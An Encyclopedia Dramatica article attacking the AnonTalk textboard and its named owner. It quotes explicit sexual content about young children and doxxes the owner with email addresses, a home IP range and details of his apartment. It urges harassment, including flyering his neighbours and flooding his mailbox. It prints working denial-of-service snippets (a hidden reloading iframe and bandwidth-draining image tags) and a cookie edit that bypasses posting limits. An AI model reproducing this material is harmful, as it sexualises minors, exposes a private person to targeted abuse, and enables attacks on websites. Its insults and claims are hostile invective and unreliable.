From Encyclopedia Dramatica

"AnonTalk"

Type	Anonymous Textboard
Founded	05-Feb-08
Location	Sweden
Key people	Kimmo Alm, Chris Hansen
Industry	Allowing pedophiles to talk about shit without being v&
Products	Spam, child pornography
Website	AnonTalk

AnonTalk.com is a bulletin board inhabited entirely by pedophiles, where mainly topics such as "Sexy 2 year old Emily dancing," "This is how I want my future toddler girlfriend to look," "How do I perform oral sex on my ten year old boyfriend," and "I want oral sex from a 12 year old girl so badly" are discussed.

Its owner, Kimmo Alm, is a miracle-worker. He pulls off the miracle of managing to be a bigger failure at life than Chris-chan. For example, he has a unique way of begging for donations, which is to constantly insult his userbase. He then wonders why nobody ever donates and why his co-moderators regularly turn against him.

AnonTalk is famous on the chans and Wikipedia for delivering huge amounts of spam, as most of the visitors of the chans and of Wikipedia have the potential to become AnonTalk regulars. Every single person who knows about the site has learned of it through spam (even you, whether you know it or not). Endless spam pours out advertising AnonTalk as a free speech zone. Oh and if you mention anything related to spam or even the name of one of the websites it spams, you get an instant ban; this also applies if you happen to say something Kimmo himself does not like. Kimmo's only joy in life besides spamming is banning people from his forum so, naturally, whenever his website is banned by something, he completely loses his mind. He's also under the delusion that one or two people on his website still don't know his name and address.

But it gets far worse, my friends...

About

Akinator knows all about AnonTalk.com.

Once upon a time some butthurt guy called 'Sysop' was fed up that 4chan had the audacity to ban and report people who talk about CP. So he thought, "I'll create the most horrible anonymous BBS ever and everybody will love me. I mean, who are the mods to cooperate with the law and try to keep their site from getting taken down?" And thus, AnonTalk was born.

About 'Sysop' (Kimmo Alm)

HOLY CRAP YOU GET B& FOR ANYTHING!

Pic of Kimmo Alm (Anontalk Sysop) from around 2005. Why so serious?

Kimmo Alm, naked, masturbating to child porn

Letter sent to AnonTalk's PO box

Kimmo samefagging it all up.

Kimmo lives to ban people and make them angry. If you get pissed over a ban, it only makes his penis harder.

You sir, are and idiot :)

Kimmo Jong Il, dictator

Normally when you hear someone is a pedophile, it's the #1 worst thing about a person. It makes the person into a pariah and calling someone it is far beyond even Godwin's Law. However, in the case of Kimmo Alm, he has so many bad things about him that after you finally hear he's also a pedophile, you think, "Oh, that's all. If he were merely a pedophile, he wouldn't be so bad." Yes, that's how bad Kimmo Alm is.

The owner of AnonTalk, some pedophillic autistic retard called 'Sysop' (real name Kimmo Alm) spends his whole day delivering spam, moderating AnonTalk, and jacking off to CP in his mother's basement. He also has absolutely no business sense, as he implores his visitors to donate money to and promote Anontalk, despite his site constantly insulting and banning nearly everyone just for kicks. He also seems oblivious to the fact that he is wasting his entire life on a shitty website that will never make him any money and will receive, at best, 0.001% of /b/'s daily traffic.

AnonTalk and KimmoA.se are hosted on the same server. Kimmo has in fact been infamous as a Swedish e-mail spammer going back years before he even started AnonTalk. He also completely failed to achieve his dream of becoming a video game designer and, after confessing to allegro about how much of a failure his life was, accused them all of being rednecks when they failed to magically fix his enormous shortcomings.

The more you read Kimmo Alm's writings, the more you can understand and plainly see that he suffers from OCD and Asperger's syndrome. He spends every waking second of his pointless life moderating AnonTalk and spamming websites to get visitors (instead of getting a job). He manually reads the host-name for every new poster; if it is a proxy then he will add it to his huge list of banned host-names. He manually checks every single post made to his website; anything insulting AnonTalk will get you banned. If you mention the name "Kimmo" you will be banned; he's such an uptight fuckhead that if you manage to surreptitiously sneak his name in (e.g. "If you want really good CP, contact the sysóp. His name is Kímmó Aḻm and he hooked me up!"), the site will go down. If you step out of line in the slightest, Kimmo will not hesitate to ban you.

Kimmo's main joy in life, aside from spamming, is banning people unfairly. This is what he does every moment that he's awake. Yet, once he gets banned, even fairly, (e.g. his SSL cert, registrar, webhost, etc.) he just can't take his own medicine.

Dox

Sysop's personal information (Mirrors: [1], [2], [3], [4], [5])

Here are email addresses used by Kimmo:

• kimmoa@gmail.com
• kimmoalm@hotmail.com
• kimmo.alm@bredband.net
• sysop@anontalk.com
• donations@anontalk.com

Feel free to subscribe him to mailing lists...

Kimmo's home IP address is dynamic in the range of 92.32.116.x. He uses it to DDoS via transparent proxies.

Kimmo goes to the beach

In September 2009, Kimmo's mother's Facebook account was discovered. His mother had uploaded some pictures of Kimmo at a beach. Here they are...

Kimmo is the fat fuck wearing a vest.	Kimmo drooling over a 3 year old girl
Kimmo with some strangers.	"No mummy, not my face!"

Pics are supposedly from 2009, but that is impossible since Kimmo never leaves his room and moderates AnonTalk nonstop all day. He pisses and shits in a garbage can that his mother empties.

How to tell when "Sysop" (Kimmo) posts anonymously

Kimmo is the lovely woods guy. His home is right by the woods and an elementary school.

Every few topics start with the extremely annoying phrase "what grinds my gears". Most of these topics are created by Kimmo, though it is now an AnonTalk meme and is used occasionally by others. For example, Topic: What really grinds my gears: Random Capitalization; no one except Kimmo cares about this and Kimmo is obsessed with it. Whenever Kimmo deletes a post for a typo in it, Kimmo will make a topic starting with this phrase and if the victim apologizes to Kimmo in it, Kimmo will delete their public apology thinking that nobody knows he's the one who posted that topic.

Most of the "random pedophilia" such as "I fantasize about living on the moon with a little girl", "This is how I want my future little girlfriend to look when we walk in the fields of gold. I'll promise to keep the darkness out. She'll promise to keep night at bay", and "Lovely video: 9 year-old Nabokovian nymphet dancing" are him as well. He also often rips stories directly from Digg when he thinks that the site is too quiet. As of late, when it's quiet, he'll also post a thread as anonymous encouraging people to donate, and the stats on his site show only one donation over the past three months, which is of course because whenever someone is convinced to donate, he unconvinces them before they can by being such an asshole.

When writing, Kimmo excessively uses ellipses (...), and (obsessively) correct grammar/spelling for everything. He writes "email" as "e-mail", and "website" as "Web site". Some of his favorite phrases are "You're a liar," "You obviously...," and all intelligent questions asked to him are always replied to with some variation of "You're so stupid and what you wrote is so mixed up I'm not even going to answer your question."

Kimmo's polls are mostly about obscure movies and child molestation. He often asks if it's "OK" to molest one's own daughter. For example:

• Is it OK to lick a little girl "downstairs" if she is asleep during the whole act?
• If you save a little girl from having to work in a "third world" country, is it OK to molest her a little at home?
• Is it right to cum on your sleeping 6-year-old daughter's face and then clean it all up before she wakes up?
• Is it OK to masturbate to your little daughter and touch her while she is sleeping if you are normal when she is awake?

Disconcertingly, Kimmo has actively researched the possibility of adoption.

About the site's forum regulars

AnonTalk's forum regulars are a bunch of people almost as despicable as Kimmo Alm himself. Firstly, there's Kimmo Alm with his sadistic, moody petty whims that are pure nonsense but any regular must abide by them like Kimmo is God himself and also perform the equivalent of digital analingus on him. Now a normal person would go into a rage over this alone, but the regulars not only are fine with it, they have all developed Stockholm syndrome and think that Kimmo's sick insanities are normal.

And that's not all. Any pics of someone whose age is more than one digit incurs the wrath of the regulars and then a banning. For instance when someone links to media of Zoe Kimball when she was 14 at the time, the forum regulars are all "Alright, damn, that's not a loli, that's a granny." and "You have failed us anon. Die in hell."

"I love other men checking out my little daughter"	Old pedo needs tips on sucking his ten year old eromenos's dick		Guy molests his 5 and 6 year old nieces by tricking them into sucking his dick
Proof the site is used for exchanging CP	"The problem is nobody is going to sign up if you use the word "loli" in the name, I don't know why people don't realize this..."	If it said "boy or girl" instead of just boy, the poll would be 100%.

AnonTalk is not actually anonymous

On AnonTalk, you must use the same user ID for every single one of your posts. When AnonTalk's server is seized, all the police have to do is check the logs for AnonTalk and find your IP address to match your poster ID. Then once they seize your computer and find your ID & password stored on there they will have enough evidence to prove in court that you made all of the posts under that user ID. AnonTalk's server logs are insecurely deleted every one month. Meaning that if you visit AnonTalk more than once a month, your IP address is always stored on the server. The white-listing feature on AnonTalk is useless, as after you have been white-listed your original IP address is stored in case you abuse the privilege.

Regular AnonTalk users are deluded by Sysop into thinking they have any anonymity whatsoever, when in reality they are just being manipulated into becoming grammar Nazis by a fat ugly pedophile.

Content

Example of AnonTalk spam on 4chan showcasing the fine culture and moral superiority that Anontalk has over "Retardchan".

AnonTalk's most replied to topics

MMMMMMM IRONY

Some ISPs block it as a pedo site.

Charles Darwin would be proud.

Kimmo considers himself very good at detecting trolls. Apparently he's wrong.

FUCK YOU GUYS, I'LL DATE AS MANY 15 YEAR OLDS AS I WANT

Fuck you French bastard, this was OUR IDEA.

Like, wtf, srsly.

AnonTalk is a BBS that says it has anonymity even though there's an ID system which is just forced tripfaggotry. It's like wearing a mask, going up to a person, yelling your full name as loud as possible, and then saying "I'm anonymous, though! LOL!"

Its content is mostly centered around pedophiles talking to other pedophiles. It's full of lulzy topics like, "How can I get a hug from a little boy?" It has such posts as how somebody met a woman and then met a jailbait and asks the Internet who to date with amazing answers such as:

Most content is mixed between pedophilia, loli discussion and more pedophilia. If you ever see content that is not pedophilia, 100% of it is Kimmo Alm using multiple IDs to talk to himself--if you point this out your post will be deleted and you will be banned.

Here are some wonderful quotes showing how much better AnonTalk is than 4chan or any other inane message board:

In addition, it also contains lots of fun polls where you can see the results to discover that a significant portion of the users have raped children, a significant porition of the users who are parents have molested their own children, etc.

It does contain CP

Business as usual on AnonTalk.

Despite its Sysop Kimmo reading every single post and deleting 99.9999% of them, he allows people to use his ImageShack wrapper to upload CP to ImageShack and then link it on the site. An example is this thread that's been around for several weeks. While Kimmo instantly deletes any replies saying "stop posting CP" or "OMG someone posted CP," he leaves up the threads with CP forever.

AnonTalk's "free speech" claims

Kimmo and his pedosheep spread the big lie that AnonTalk is a free speech site. Anyone who even hints on their forum that it's not a free speech site will get banned and their IP address redirected to Last Measure.

AnonTalk's FAQ unintentionally gave quotes of how AnonTalk actually is:

• "All the countless inane technical and usability issues aside, they randomly censor "controversial" posts and ban people "for fun"."
• "All these fucking high-on-power hypocrites (commonly known as "modfags"), preaching their pseudo-moralistic values and shoving their random rules down our throats."

His site has a million word-filters and all of them are stupid. All intelligent discussion is banned. Furthermore, if Kimmo has spammed a website, then any word related to it also is blocked. Pretty much the entire internet is blocked.

Kimmo and his regulars, of course, are always on a mission to lure young children to the forum so they can be lured to a pedophile's basement. However, every child that has come has been banned automatically by the site's software for failing to have 100% perfect grammar and spelling. This has been mentioned to Kimmo who has promptly ignored it and banned those who mentioned it.

AnoNtalk's FAQ does clarify the "free speech" that it allows:

• "What I mean by "uncensored" is that, for example, "little girl lover" discussions are allowed" Kimmo originally had this quote in there boasting that his site is for pedophiles. After having his website banned by every registrar, he has later edited this down and tried to deny his site was a pedophile site.

Basically, you can discuss raping your 3 year old granddaughter, raping your toddler, and exchanging links on where to find CP. For everything else, it's actually easier to get your message on national TV than to get it to stay on AnonTalk for an hour. The only thing people are allowed to say is content in 100% support of pedophilia. That is all. If people say anything else, Kimmo and his mods will delete it. Any messages that remain there that are exceptions are posted by either Kimmo or his mods.

The whole pickiness on spelling and grammar is a complete lie. They only exist so Kimmo has an excuse as to why he deletes a post. Fact is that all threads that are pro-pedophile can written in the style of JeffK and they're just fine with them. For example, topic 14634 has been up for over 11 months.

In reality, Kimmo neither cares about spelling/grammar nor is good at it. His bulletins are chock full of grammar errors like, "Due to the fact that nobody ever better themselves, this board no longer has a concept of temporary ID bans — they are all permanent."

Here's a typical bulletin from Kimmo complaining about grammar and spelling, but now with proofreading marks:

AnonTalk also auto-bans people for typing in ALL CAPS when most of Kimmo's bulletins are just that.

You will also get your IP address banned and redirected to Last Measure if you do anything such as: voting on a poll in a way that Kimmo doesn't like , entering "kimmo" into his magic 8ball bot "The Oracle" that doesn't post anything to the forum, etc.

In addition, if you evade your Anontalk bans, Kimmo will have you banned from the internets:

WRATH

delicious substance for use in reporting for srs business. Naughty naughty! In A.D. 2008, war was beginning ONOE WHERE DID IT GO

over 9,000 hours in MSPaint IHM caught off-guard BRACE FOR V& SYSOP LIVES WHERE? A thread of complaints about the sysop that lasted 8.5 hours while he slept, part 1 part 2 part 3 Sysop begged by site regular to stop spamming AnonTalk declares war on ED Paypal refuses to support a pedophile ring. No more IRC for pedophiles! Even in death he will keep his website closed source, what an asshole. Give Sysop money, not questions.

SPREAD THE WORD!

AnonTalk does have users, but how did they find the site in the first place? The site has never purchased ads, not that a pedophile site would be allowed to in the first place. Is it search engines?

No, it's not search engines.

WHY ARE NONE OF YOU FAGGOTS SPREADING THE WORD???!!!!1!

Wait, one person is spreading the word:

Hmm what efforts might those be?

Spamming of 4chan

AnonTalk claims in its spam that 4chan is a ripoff of its website.

AnonTalk NEVER spams, obviously.

Nope, not one bit.

Time Magazine [7] says "Spammers don't even bother to spam 4chan." But anyone who has been to 4chan can tell you that every single thread has "w w w . A n o n T a l k . c o m" in it, often several times. Time Magazine, of course, is what Wikipedia considers a reliable source. AnonTalk.com later changed to a huge image macro and they increased their spamming so that 50% of all /b/ posts are AnonTalk.com spam. Even when /b/ goes down and no one can post, this bot is still able to post somehow. Spooky. AnonTalk even has a thread surveying the site [8] and everyone there found the site through spam on various chans.

AnonTalk takes it too far

Long ago AnonTalk spambots started spamming /b/ with things other than advertisements for their site, like the phrases "you are and idiot" and "I noticed". This was made in attempt to retaliate against 4chan trolls posting on their site. 4chan, fed up with AnonTalk's high stupidity levels took action against their site, in the form of synfloods, DDoS attacks, and several hacking attempts.

It should also be noted that Sysop, due to immense amounts of butthurt, has decided to bring illegal malware back onto the site in an attempt to stop "trolls" from "spamming". Anyone attempting to spam the site or even visit it should take caution. If you plan on reporting AnonTalk to its ISP, mention the site's use of malware.

Meanwhile on #anontalk

<leanandmean> Can you access AT?
<zork> im on skype with annabelle
<zork> lol
<zork> yeah i can :)
<zork> Slow though
<rnd> only if i use anontalk.com
<rnd> www.anontalk.com doesn't work
<zork> i use https://www.anontalk.com
<zork> works
<zork> but slow
<rnd> anontalk.com doesn't work either
<leanandmean> Fucking retards. This planet is full of worthless dumbcunts who all try to destroy anything that is good.
<zork> True
<leanandmean> I have to get a hardware firewall now.
<zork> Sounds awesome, i have no idea what it is
<leanandmean> I don't even have money for fucking food.

Sysop spams TOW constantly

The sysop of AnonTalk, under the impression that Wikipedia is full of pedophiles, lets his spambot loose there. Of course, too lazy to write a proper spambot that inserts links into all articles, he just had a bot that pretended TOW was a message board and his bot did to TOW what he does to 3-year-old boys. So Wikipedia did this http://www.archivum.info/wikibugs-l@lists.wikimedia.org/2008-06/msg00904.html

Butthurt, Sysop posted anonymously pretending to be some innocent third party with a fake story:

The thread http://www.anontalk.com/topic/6560 is full of deleted posts and bannings from people who constantly ask whether the sysop started the thread and if he was there spamming.

An example spam is this unsneaky spam. Kimmo often hits the same article over and over; see the history of "Until It Sleeps"

Kimmo's spam of Wikipedia is so bad that Wikipedia's Abuse Filter even has four of them for AnonTalk, #7, #215, #228, and #230. You can even see the spam flooding in here with #7, #215, #228, and #230.

To top it off, many bots copy Wikipedia articles and sections of them verbatim without reading them. Occasionally, this will happen while AnonTalk spam is still on a Wikipedia article. This has resulted in AnonTalk's spam spreading far and wide everywhere!

Spamming ED

Sysop regularly creates junk usernames and spams ED, too (example). But that's not so much news since, basically, the sysop of AnonTalk spams everywhere. If you want proof, then start a topic on his site about it and watch it get deleted and you banned.

The cunt spams Fucked Company

Over 100 years ago when Fucked Company and its spinoffs were relevant, that fucker did the same thing, causing the admin to set up security codes. No counter raid was planned, since that site has three days worth of posts on page one. He was ignored and apparently moved on to bigger sites.

Fucked Company had an old anonymous bulletin board system they started in the 1990s. It had all the features of AnonTalk but with more advanced features. See thread and another BBS using its software. In other words, the BBS that Kimmo claims is original is in fact a shitty clone of Fucked Company's BBS software.

Kimmo secretly doesn't want users spreading the word

In every other bulletin posted by Kimmo, he complains that nobody is spreading the word, but wait--yes they have been!

YouTube

This video is where Kimmo is compared to a powerful national leader. This vlog tries to put a positive spin on AnonTalk's pedophilia topics by claiming it only has them about post-pubescent minors, when its entire userbase only desires children still in diapers. And this video (now removed due to TOS) said that, "AnonTalk is the fucking greatest site ever made." Srsly. This video even specifically asks users to spread the word of AnonTalk, just like Kimmo wants. Its exact words were, "Keep spreading the word of this sick site! We have to get anontalk.com taken down!"

Encyclopedia Dramatica

Aside from this article and mentioned in other articles, ED has had comics about AnonTalk as pictures of the now, linked a video about AnonTalk as video of the now, and its quotes of the now during October 26th through November 14th all originate from PedoTalk.

Does Kimberly appreciate this? Hell no! In fact, he hates it to the point in which he will ban you for even mentioning it on his site.

On top of that, Kimmo will not release the software to his spambots so that his forum sheeple can spread the word in the same spam-tastic way that he does.

AnonTalk's attempts to destroy other websites

Kimmo vs Tinychan

Tiny-hime fucks up Kimmo's shit

Kimmo's mom even asked him why so serious?

When Kimmo discovered that Tinychan had stolen his completely unique idea of listing threads by title, he started this conversation with the site's admin:

Kimmo vs. the KKK

In 2009, Krapple Komputer Kompany (KKK), a largely unknown site except for its subforum for Chris-chan fans/trolls (no difference really) was minding its own business when Kimmo's spambot came by August 2nd, 2009 and has spamflooded the site with CP and links to Anontalk.com nonstop since. All was not lost, because the KKK now has a forum dedicated to fighting back against Kimmo: http://krapplekomputerkompany.com/fs/ Kimmo however continued to DDoS the site as well as CP flood it and then report it for CP. Kimmo managed to get the account suspended from August 10, 2009 until August 19, 2009.

Enraged by this Pearl Harbor-like attack on Anonymous, a joint strike force from Krapple Komputer Kompany and the /i/nsurgency set off to epic battle. KKK focused on legal measures to get Kimmo v&, while the /i/nsurgency did its usual shenanigans. Things got taken new a new level though when the spec/i/al forces noticed that kimmoa.se was hosted on the same server (prq.se) as Anontalk.com, and realized that SysOp of Anontalk was in fact notorious spammer and basement dweller Kimmo Alm. Dox were obtained.

Thanks to a generous Anon on Krapple Komputer Kompany's /fs/, http://anøntalk.com will now redirect to: http://www.krapplekomputerkompany.com/fs/

Yet another generous anon has purchased http://www.anontalk.co.uk which redirects to right here

You can help by buying the domain: шшш.аиоитаㄥк.сом and redirecting it to anywhere you please.

Kimmo gets ISPs to block 4chan

Main article: AT&T Blocks 4chan

As the press such as Fox News [9] have mentioned, Kimmo used IP address spoofing combined with DDoSing and filing lots of false reports to cause major ISPs like AT&T, Comcast, and Cogent Communications to block access to 4chan.

Countering AnonTalk

Permanent Takedown: Report CP and spamming activity

Sent to AnonTalk's DNS host.

A good way to put some nails in the coffin of anontalk is to get the site on at least one of the child porn blacklists out there. Getting anontalk blocked will take a massive chunk out of its userbase and make the forum even more dead than it already is.

Protip: Do not mention 4chan, or ED, do not use terms as "CP" and "loli" write out the full words. When linking anontalk, link to the Hot Topic section as it always contain pedo shit. Include an explanation that CP is an acronym of "Child Pornography" as the people reading the mail may not find anything odd with "Where can I get CP?". When reporting what the site does, explain that it acts as a platform for pedophiles to exchange contacts, material, links and tips on child-sex tourism, and that it has a "VIP section" not accessible publicly that contains lots of child pornography. Some sites may say that Anontalk is already down, while not quite sure why, some people argue that Kimmo has blocked a number of known Goverment IPs using hacks and peergaurdian.

Here is a list of websites you can report the site as a pedophile website.

• Norway: https://tips.kripos.no/cmssite.asp?c=1&s=6&menu=2
• Sweden: http://www.ecpathotline.se/ also childabuse@rkp.police.se
• Denmark: https://www.politi.dk/da/hjaelppolitiet/itkriminalitet/
• Finland: http://www.pelastakaalapset.fi/nettivihje/fi/etusivu
• UK: http://www.iwf.org.uk/ also https://secure.crimestoppers-uk.org/ams.form.anonymous.asp also https://www.ceop.gov.uk/ceop_report_form.aspx
• Poland: http://dyzurnet.pl/
• Slovenia: https://www.spletno-oko.si/prijava/
• Latvia: http://netsafe.lv/pub/report.php?lang=lat
• Greece: http://www.safeline.gr/
• Australia: http://www.acma.gov.au/WEB/STANDARD..PC/pc=PC_90103
• Italy: http://www.stop-it.org/ and also http://www.hot114.it/
• Canada: https://www.cybertip.ca/app/en/report
• France: http://www.pointdecontact.net/
• Belgium: http://www.stopchildporno.be/index.php?step=1&pid=4
• Luxemburg: http://www.lisa-stopline.lu/
• Spain: http://www.protegeles.com/
• Czech republic: http://www.internethotline.cz/
• Lithuania: http://www.draugiskasinternetas.lt/en/main/reports
• Hungary: http://www.internethotline.hu/
• Austria: http://www.stopline.at/index.php?id=231&L=9
• Portugal: http://linhaalerta.internetsegura.pt/
• Germany: http://www.jugendschutz.net/hotline/index.html also http://www.internet-beschwerdestelle.de/
• Ireland: http://www.hotline.ie/
• Netherlands: http://www.meldpunt-kinderporno.nl/melding/?lid=1
• Turkey: http://www.ihbarweb.org.tr/ihbar.html?subject=2

Complaints relating to the spam and child pornography AnonTalk is spewing everywhere can be sent to:

-Domain Registrar: Complain to his main registrar at http://www.key-systems.net/index.php?id=36&L=2 and then complain to the reseller for that registrar that sold him the domain http://www.domaindiscount24.net/?page=about_contact

-DNS Host: http://www.prq.se/?p=contact&intl=1 (Use the legal issues email address.)

Kimmo also ripped off the site AnotherTalk by stealing their domain anothertalk.com from them. anothertalk.com redirects to anontalk.com so all the same reporting still applies. Report them at http://www.internetbs.net/en/domain-name-registrations/contact.html and there's even a LiveChat on that site to use for reporting, too.

Things to mention when reporting them:

• The spam and how they are on Wikipedia Abuse Filter #7 for spam. Show them http://www.archivum.info/wikibugs-l@lists.wikimedia.org/2008-06/msg00904.html and http://en.wikipedia.org/wiki/Special:AbuseFilter. When showing them, give the links to the abuse filter details showing the spam flooding in. Abuse filter #7, #215, #228, and #230. Mention that they should click the buton "details" on each spam to see the fill diff of the spam.
• Point out how the only if you search google news for their site's name with a full archive search, the only mention is of them attacking other websites: http://www.foxnews.com/story/0,2933,534941,00.html http://www.npr.org/templates/story/story.php?storyId=92767742
• Mention how in the "hot topics" of the forum, how most stuff is about CP. PRQ doesn't care about this, but combined with the other issues, it's still worth a mention. Mentioning this to every other place will make them take more notice of the spam reports.

Anonymous visits Kimmo

Flyer on Kimmo's door.

Growing tired of Anontalk's faggotry, Anonymous decided to pay a visit to Kimmo and have a word with him. However when arriving at the dwelling of Kimmo the gate was locked and when calling him, he refused to answer. Anonymous, being a responsible part of social society then proceeded to paste up flyers in and around the neighbourhood that informed residents about the fact that they live close to a pedophile and that they should be careful with their children around said deviant.

Anonymous plans to make more trips to Kimmo. More information will follow as more expeditions are conducted.

Anonymous visits Kimmo. PART DEUX

Artist's hypothetical interpretation of what would happen if Kimmo answered the door.

Just like genital herpes, Anonymous keeps coming back, and stronger than last time. This expedition was better planned, more fliers was printed and more people participated as an additional group of Anonymous was brought to maximize efficiency and spread of the campaign.

Unlike last time, entrance was gained to the house that holds Kimmo's own apartment, and when reaching the door of Kimmo's apartment it was discovered, with much dismay, that Kimmo have figured out Anonymous's only weakness as there was a yellow sticker on the door that said "Beware of dog." Anonymous however did not falter and rang the doorbell and knocked for some time, but Kimmo was either busy fapping to child porn with his headphones on or he was having his daily hugbox session, because he did not answer the door. Anonymous had to settle with telling the neighbors to "Beware of pedophile" by distributing fliers to every household in the building. And since Kimmo holds a special place in the heart of all of us, he got a complimentary Pedobear sticker pasted on his door.

Entry was gained to the house where Kimmo got his appartment.

Kimmo's door, note the Beware of Dog sticker and that it says "Alm, K" on the door. The mailbox on the door means Kimmo doesn't even have to leave his home to walk to any distant mailbox. He can just stay home all day making money on his adsense farm order food by delivery. He wouldn't want to let his forum go unmoderated for five minutes, after all!

In addition to the "beware of dog" sticker for the dog that Kimmo doesn't have, Kimmo also has a fuckload of locks on his door. Clearly it is to keep /b/tards out.

Anonymous then proceed to paste fliers all over the area where Kimmo lives along with the neighboring areas, but this time entry was gained into the different apartment complexes and fliers was distributed to every household through the mail slot and by pasting them up in elevators and stair cases making sure that everybody in and around Kimmo's neighborhood is aware of the pedophile's pathetic existence. And thus another successful expedition was concluded.

It was planned that just like genital herpes, there would be moar in the future, but very sadly, there haven't been anymore house calls.

Trolling the site

Kimmo's so-called advanced artificial intelligence moderation system is in fact a bunch of crude word filters and a lot of hostnames banned. Beyond that, there is no automated moderation at all. When nobody is moderating the site, it instantly fills with posts that Kimmo doesn't like.

Want to make a new thread and not wait 3 minutes? Don't use the restore ID function as that makes you wait 3 more minutes each time. Simply export a dozen AnonTalk IDs and to import nto your browser for later.

Because of his complete lack of friends (both online and IRL) Kimmo goes nuts when no one posts for more than an hour. Therefore it is probably best to only spam when other people are actively posting because otherwise you'll just be giving him something to do.

Final Solution code (see more below)

The /i/nsurgency developed a powerful chemo as part of the FINAL SOLUTION (discussed below) to rid Anontalk from the Intertubes.

Add this bit of code to the bottom of the page on all boards/pages of 4chan and other chans:

<iframe src ="http://www.anontalk.com/" width="0" height="0" border=0 style="display:none;width:0px; height:0px; border: 0px;">

It will load AT once for every time someone views a page. The invisible iframe will mean that it is nice and unintrusive to the user experience.

Revised JavaScript code:

<script type="text/javascript"> setInterval ( "ReloadLeechIframe()", 5000 );

function ReloadLeechIframe () { document.getElementById("LeechIframe").contentDocument.location.reload(true); } </script>

<iframe src ="http://www.Anontalk.com/" width="0" height="0" border=0 style="display:none;width:0px; height:0px; border: 0px;" id="LeechIframe">

Will make Anontalk load the same page over and over in an endless loop.

For forum spamming/planting use:

phpBB: [url=http://www.anontalk.com/deep_search/lol][img]

vBulletin/Invision Power Board: [img]http://www.anontalk.com/deep_search/lol[/img]

This will trigger requests for deep searches from the forums, whittling away at AT's bandwidth. However, in order for this to work on a grand scale, it would have to be implemented on 4chan, which will probably never happen because moot is a giant faggot.

Additional trolling techniques

As it is near impossible to post on Anontalk through a proxy (which you will probably need due to Sysop's constant arbitrary shitlisting), it has become necessary to find new ways through which to troll the fuck out of the site over and over again.

• Create a clone - download AnotherTalk's free open source code for ATBBS http://code.google.com/p/atbbs/ and go create an AnonTalk clone. Kimmo is pretty pissed about it and tries to shut every clone down with fake abuse reports and DDoS attacks.
• Polls - The AT polls have absolutely no restriction on who can vote on them. Get behind a proxy and vote down any idea for changes to the site or anything that promotes paedophilia (or in fact anything that Sysop likes). The more people do this, the more likely it is that Sysop will be butthurt over the amount of people not subscribing to his ideals.
• Private Messages to Harass Sysop - It used to be the "wishing well" that did this but Kimmo has since blocked it. However, http://www.anontalk.com/new_private_message_for_Sysop still works but only if your host name isn't banned. But what will work is to file an elaborate abuse report. Kimmo blocked it so only regulars can use it, but it still works if the hostname is banned. To bypass it, edit your cookies from anontalk.com so num_posts is in the hundreds and you can use it again. Then you can just bomb those shit in and nothing is stopping them. Kimmo will shit himself. Or go to http://www.anontalk.com/new_bulletin and use a bot or script to generate random junk.
• P.O. BOX (going away soon) - Get a bulk pack of postcards or standard-size envelopes. Send one a day for each mailbox that you walk past on a daily basis. Remember to send them Freepost and to add a personalised 'Kimmo Alm is a faggot' message for added lulz. UPDATE July 2009: He's getting rid of it due to only "fake donations", such as this, coming in the box. Another small victory.
• Post shit - It is easy to get unbanned from AnonTalk. Try to make a "quality post" using Tor... It won't work, but if Kimmo notices you tried to post something decent and were blocked, he will whitelist you. (Save your ID/password until he does this.) Once you're whitelisted, go ahead and troll, spam or post copypasta (that always works well).
• Discuss the site with a thread - Start a thread that makes a negative comment on the site. Kimmo hates people saying anything bad about his precious board.
• Social Engineering - If you are a dedicated troll and manage to con Sysop into trusting you, he might make you a "wiseguy." If this happens... well... you've got a lot of mod tools and a lot of legitimate posts to play with (read: exterminate trolls by phrase). You know what to do. Bonus points if you manage to wipe out the majority of the board and he curtails wiseguy privileges to the point that he may as well just run the board alone.

Operation Antfuck: The Empire Strikes Back

"What did YOU do in Operation Antfuck, daddy?"

Operation Antfuck

I'M PRESSIN CHARGES!

See also: insurgen.info.

On December 12th 2008 Anonymous finally says NO U to AnonTalk's constant shitpost spamming clogging up all the *chans' tubes and declares WOAR!!! on the Swedish meatball "Sysop".

All the *chans were vigorously spammed with the raid date of December 13th/14th (GMT) and several IRC channels were set up -from Rizon to insurgen.info- to better coordinate a massive DDoS of AnonTalk faggotry.

Although ED itself does not troll or conduct raids, the Queen and her court gave their blessings to these fearless and godly Internet Superheroes, wished them God speed, and dispatched reporters to the battlefield.

A day before AnonTalk was to be buttræped, Anon's forward scouts ascertained that AnonTalk was completely down and this intel led many to believe that Sysop had pulled the plug on his crappy site to evade the wrath of Anon. There was also speculation that since he'd recently had his advertising pulled and his GayPal suspended with the loot still in it, AnonTalk was dead because of massive amounts of FAIL. However, /b/tards awoke to fresh AnonTalk spam copypasta threatening legal action to anyone foolish enough to DDoS without 7 proxies. This was met with raging boners and joy that the faggot was going to try and put up a fight.

Ultimately, nothing of value was lost and AnonTalk came back a couple of days after spending some quality time with teh rAIDS. Meanwhile, 4chan's /b/ came to a grinding halt after hundreds of newfags deserted the sinking ship as it was getting walloped with a tsumani of spam. For a few glorious hours, /b/ was almost as good as it never was; /b/tards didn't have to bump their own posts and threads didn't 404 in 30 seconds.

Remember, remember, the 13 of December

AnonTalk, 6pm 4chan time, and DoS.

I see no reason why victim, time, and method

Should ever be forgot...

OPERATION ANTFUCK 2

AntFuck poster

Moar

Long ago, AnonTalk declared war on Anonymous and moot. When moot was winning the Time 100 Influential people poll by a landslide, Kimmo used his spambots and his army of brainwashed followers (called AnTs) to downvote moot until even the Jonas Brothers exceeded moot. (Keep in mind Kimmo was spamming his site to /b/ at the same time, too. He is always spamming his site to /b/.) Anonymous could not stand this faggotry, so a few Anons decided to do Operation Antfuck 2. However instead of using methods like DDoS that have always worked, they just tried to post insults to the forum and they didn't even use the proper technique. The raid was a failure.

OPERATION ANTFUCK 3

April 11'th, everyone gathered in some IRC channel where we met this dude named "f." f seemed like a pretty cool guy, eh was talking about taking down AT and shit and didn't afraid of anything. Until all of a sudden, he used his botnet to take down the site about an hour before the raid was set to commence, which was after the irc used bwraep to suck down around half of AT's reported normal monthly allotted bandwidth. /b/ rejoiced, some more anons wanted more justice so they egged f on to take down www.fredfigglehorn.com as proof it was in fact him that DDoSd AT. Which he did. Fin.

More details: on the 12th f had his botnet running at 2Gbit/s for 5 hours pouring down on AT, resulting in over 36TB of rape. Wonderful thing is that an User named "C_T_X|BNC" found out that AT only has a Traffic limit of 1Tb so Kimmo is probably gonna get dropped by his russian benefactors or needs to pay ~19cents per Gb Overtraffic (36Tb = 6840$).

Down again today. Hosting ran out, maybe? Apparently, Kimmo pulled the plug when he saw a thread on /b/. Expect to see him pop up again soon...

It is possible that a brave /b/tard got AnonTalk v& for being a CP host and pedophile congregation site.

Victory

